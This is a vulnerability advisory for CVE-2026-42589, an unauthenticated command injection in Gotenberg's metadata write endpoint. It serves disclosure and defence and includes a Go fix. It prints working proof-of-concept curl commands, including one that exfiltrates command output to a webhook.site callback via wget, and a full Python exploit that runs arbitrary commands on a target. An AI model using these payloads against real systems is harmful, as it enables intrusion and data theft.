CVE-2026-42589

Unauthenticated RCE in Gotenberg via Metadata Key Newline Injection

Gotenberg's /forms/pdfengines/metadata/write HTTP endpoint accepts a JSON metadata object and passes its keys directly to ExifTool via the go-exiftool library. No validation is performed on key characters. A \n embedded in a JSON key splits the ExifTool stdin stream into a new argument line, allowing an attacker to inject arbitrary ExifTool flags, including -if, which evaluates Perl expressions. This achieves unauthenticated OS command execution in a single HTTP request. The response is HTTP 200 with a valid PDF, making the attack transparent to basic monitoring.

Vulnerability Details

Affected Code

Product: Gotenberg
Endpoint: /forms/pdfengines/metadata/write
Root cause: JSON metadata keys are passed to go-exiftool without control-character
validation. The existing dangerousTags blocklist uses exact-match deletion and
provides no defense against \n-embedded keys.

The injection occurs because go-exiftool writes each key to ExifTool's stdin as:

fmt.Fprintln(e.stdin, "-"+k+"="+str)   // k contains \n → splits into a new argument line

When k is Title\n-if\nsystem('cmd')||1\n-Comment, ExifTool's stdin becomes:

-Title
-if
system('cmd')||1
-Comment=x

ExifTool's -if flag evaluates its argument as a Perl expression, giving the attacker arbitrary code execution.

Why it's vulnerable: Gotenberg is the HTTP entry point. It controls what data enters go-exiftool. The dangerousTags blocklist (FileName, Directory) shows that the authors are aware that certain keys are dangerous, but the fix is incomplete: it uses exact string matching and does not strip or reject control characters in keys.
This vulnerability exists entirely within Gotenberg's responsibility and is independently fixable without changing go-exiftool.

Attack Scenario

Threat actor: Unauthenticated remote attacker
Preconditions: Gotenberg port 3000 is reachable (common in internal/cloud deployments)

1. Attacker sends a POST request to /forms/pdfengines/metadata/write with any valid PDF and a metadata JSON object whose key contains embedded newlines.
2. Gotenberg deserializes the JSON key, \n is preserved as a literal newline in Go's map[string]any after json.Unmarshal.
3. The key is forwarded to go-exiftool, which writes it verbatim to ExifTool's stdin, splitting it across multiple argument lines.
4. ExifTool processes -if system('cmd')||1 as a Perl expression and executes cmd.
5. The attacker exfiltrates output via an OOB HTTP callback. Response to the attacker is HTTP 200 with a valid PDF, no error signal.

Proof of Concept

# Write output of `id` to /tmp/pwned on the server
curl -s -o /dev/null -w "HTTP:%{http_code}" \
  -X POST http://TARGET:3000/forms/pdfengines/metadata/write \
  -F '[email protected];type=application/pdf' \
  --form-string $'metadata={"Title\\n-if\\nsystem(\'id>/tmp/pwned\')||1\\n-Comment": "x"}'
# → HTTP:200
# On server: uid=1001(gotenberg) gid=1001(gotenberg) groups=1001(gotenberg),0(root)

OOB exfiltration via base64-encoded HTTP callback:

OOB="https://webhook.site/YOUR-ID"
curl -s -o /dev/null -w "HTTP:%{http_code}" \
  -X POST http://TARGET:3000/forms/pdfengines/metadata/write \
  -F '[email protected];type=application/pdf' \
  --form-string "metadata={\"Title\n-if\nsystem('wget -q -O /dev/null \"${OOB}?c=\$(id|base64|tr -d \\\"=\\n\\\")\" 2>/dev/null')||1\n-Comment\": \"x\"}"
# Listener receives: GET /?c=dWlkPTEwMDEoZ290ZW5iZXJnKS4u
# Decode: echo dWlkPTEwMDEoZ290ZW5iZXJnKS4u | base64 -d → uid=1001(gotenberg)...

Self-contained Python PoC (auto-generates PDF from target, exfiltrates via OOB):

#!/usr/bin/env python3
"""
Usage: python3 poc.py <target> <oob_url> [command]
  python3 poc.py http://localhost:3000 https://webhook.site/YOUR-ID
  python3 poc.py http://10.0.0.5:3000 https://webhook.site/YOUR-ID "cat /etc/passwd"
"""
import sys, json, subprocess, urllib.request

def check_target(target):
    with urllib.request.urlopen(f"{target}/version", timeout=5) as r:
        print(f"[+] Gotenberg {r.read().decode().strip()}, target reachable")

def get_pdf(target):
    r = subprocess.run(["curl", "-s", "-X", "POST", f"{target}/forms/chromium/convert/url",
                        "-F", "url=https://example.com"], capture_output=True, timeout=30)
    assert r.stdout[:4] == b"%PDF", "Failed to generate PDF"
    print(f"[+] Got sample PDF ({len(r.stdout)} bytes)")
    return r.stdout

def exploit(target, pdf, oob, cmd):
    import tempfile, os
    key  = f'Title\n-if\nsystem(\'wget -q -O /dev/null "{oob}?c=$({cmd}|base64|tr -d "=\\n")" 2>/dev/null\')||1\n-Comment'
    meta = json.dumps({key: "x"})
    with tempfile.NamedTemporaryFile(suffix=".pdf", delete=False) as f:
        f.write(pdf); tmp = f.name
    try:
        r = subprocess.run(["curl", "-s", "-o", "/dev/null", "-w", "%{http_code}",
                            "-X", "POST", f"{target}/forms/pdfengines/metadata/write",
                            "-F", f"files=@{tmp};type=application/pdf",
                            "--form-string", f"metadata={meta}"],
                           capture_output=True, text=True, timeout=30)
        return int(r.stdout.strip())
    finally:
        os.unlink(tmp)

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(__doc__); sys.exit(1)
    target, oob = sys.argv[1].rstrip("/"), sys.argv[2]
    cmd = sys.argv[3] if len(sys.argv) > 3 else "id"
    print(f"[*] Target: {target} | OOB: {oob} | Command: {cmd}")
    check_target(target)
    pdf    = get_pdf(target)
    status = exploit(target, pdf, oob, cmd)
    if status == 200:
        print(f"[+] HTTP {status}, payload fired, check OOB listener for: ?c=<base64({cmd})>")
        print(f"[!] Decode with: echo <value> | base64 -d")
    else:
        print(f"[-] HTTP {status}, unexpected response")

Expected output:

[*] Target: http://localhost:3000 | OOB: https://webhook.site/... | Command: id
[+] Gotenberg 8.29.1, target reachable
[+] Got sample PDF (12345 bytes)
[+] HTTP 200, payload fired, check OOB listener for: ?c=<base64(id)>

Timeline

Resources

• CWE-78: https://cwe.mitre.org/data/definitions/78.html
• ExifTool -if flag: https://exiftool.org/exiftool_pod.html
• go-exiftool: https://github.com/barasher/go-exiftool
• CVSS calculator: https://www.first.org/cvss/calculator/3.1

Full unauthenticated remote code execution as the Gotenberg process user (uid=1001(gotenberg), member of root group in the default Docker image). An attacker can read arbitrary files, write files, establish reverse shells, or pivot within the network. The attack requires no credentials and returns no error signal. Any deployment that exposes Gotenberg's port 3000 without an authenticating proxy is fully compromised by a single HTTP request.

Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.

CVE-2026-42589 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

In Gotenberg's metadata handler, reject any key containing control characters before passing it to go-exiftool:

import "strings"

for key := range metadata {
    if strings.ContainsAny(key, "\n\r\x00") {
        return fmt.Errorf("invalid metadata key %q: control characters not allowed", key)
    }
}

Operators should also place Gotenberg behind an authenticated reverse proxy and never expose port 3000 directly to untrusted networks.

Note: A companion advisory covers the same class of injection at the go-exiftool library layer (independently fixable, see go-exiftool advisory).

1. What is CVE-2026-42589? CVE-2026-42589 is a critical-severity OS command injection vulnerability in github.com/gotenberg/gotenberg/v8 (go), affecting versions = 8.29.1. No fixed version is listed yet. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
2. How severe is CVE-2026-42589? CVE-2026-42589 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/gotenberg/gotenberg/v8 are affected by CVE-2026-42589? github.com/gotenberg/gotenberg/v8 (go) versions = 8.29.1 is affected.
4. Is there a fix for CVE-2026-42589? No fixed version is listed for CVE-2026-42589 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-42589 exploitable, and should I be worried? Whether CVE-2026-42589 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-42589 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-42589? No fixed version is listed yet. In the interim: Avoid passing untrusted input to shell commands. Use parameterized APIs or libraries that do not invoke a shell.